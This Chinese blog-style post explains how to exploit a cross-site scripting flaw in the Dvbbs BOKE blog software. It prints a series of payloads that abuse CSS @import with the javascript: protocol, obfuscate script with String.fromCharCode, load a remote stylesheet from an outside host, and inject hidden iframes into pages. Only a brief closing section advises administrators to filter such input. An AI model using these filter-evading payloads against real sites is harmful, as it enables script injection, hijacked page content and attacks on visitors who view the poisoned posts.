前一段时间,找到了动网 BOKE的跨站漏洞,这个漏洞可以用CSS来跨站,也就是样式表,具体的跨站方法是:

基本利用方法

选择”代码”方式,在其中输入以下代码:

<style type='text/css'>@import url(http://www.pc010.cn/1.css);</style>

其中的@import 是CSS的自定义属性,url是要链接的CSS样式,而 http://www.pc010.cn/1.css 的内容如下:

<style type="text/css">
<!--
@import url(javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,84,101,115,116,32,49,39,41,59,97,108,101,114,116,40,39,84,101,115,116,32,50,39,41,59)));
-->
</style>

这是一段弹出alert窗口的代码,其中的String.fromCharCode是用来将字符转为ASCII值的函数。

打开新窗口的代码

OPEN 的代码如下:

@import url(javascript:eval(String.fromCharCode(111,112,101,110,40,39,104,116,116,112,58,47,47,119,119,119,46,110,111,104,97,99,107,46,99,110,39,44,39,-17702,-16435,-13610,-19743,39,44,39,119,105,100,116,104,61,50,48,48,44,104,101,105,103,104,116,61,50,48,48,39,41,59)));

隐藏显示方法

如果是要在当前窗口隐藏显示,可用document.body.innerHTML方法,代码是:

document.body.innerHTML=document.body.innerHTML+"<iframe frameborder=0 width=200 height=200 scrolling=no src=http://www.pc010.cn></iframe>";

将以上的字符用ASCII转换工具转为ASCII值,放入String.fromCharCode函数中,就可以了。

简化的利用方式

当然,也可以不用String.fromCharCode函数,直接引入代码的语句是:

@import url(javascript:eval("document.body.innerHTML=document.body.innerHTML+'<iframe frameborder=0 width=200 height=200 scrolling=no src=http://www.baidu.com></iframe>';"));

其中字符要用双引号引入才行。

最简单的方法

如果再去掉eval,那么语句就是:

@import url(javascript:document.body.innerHTML=document.body.innerHTML+"<iframe frameborder=0 width=200 height=200 scrolling=no src=http://www.baidu.com></iframe>");

常量用双引号引入,而变量则直接引入,两者之间用+来连接,如果有特殊的字符,则可用String.fromCharCode进行转换,比如”<“,则可用String.fromCharCode(60)代替。

技术总结

这个漏洞利用了CSS的@import特性和javascript:协议的结合,绕过了常规的XSS过滤。动网BOKE在处理用户输入的CSS代码时没有进行充分的过滤,导致了这个安全问题。

这种利用方式比较隐蔽,因为表面上看起来只是在引入CSS样式文件,实际上却执行了恶意的JavaScript代码。

建议网站管理员对用户输入的CSS代码进行严格过滤,特别是@import和javascript:这类可能存在安全风险的内容。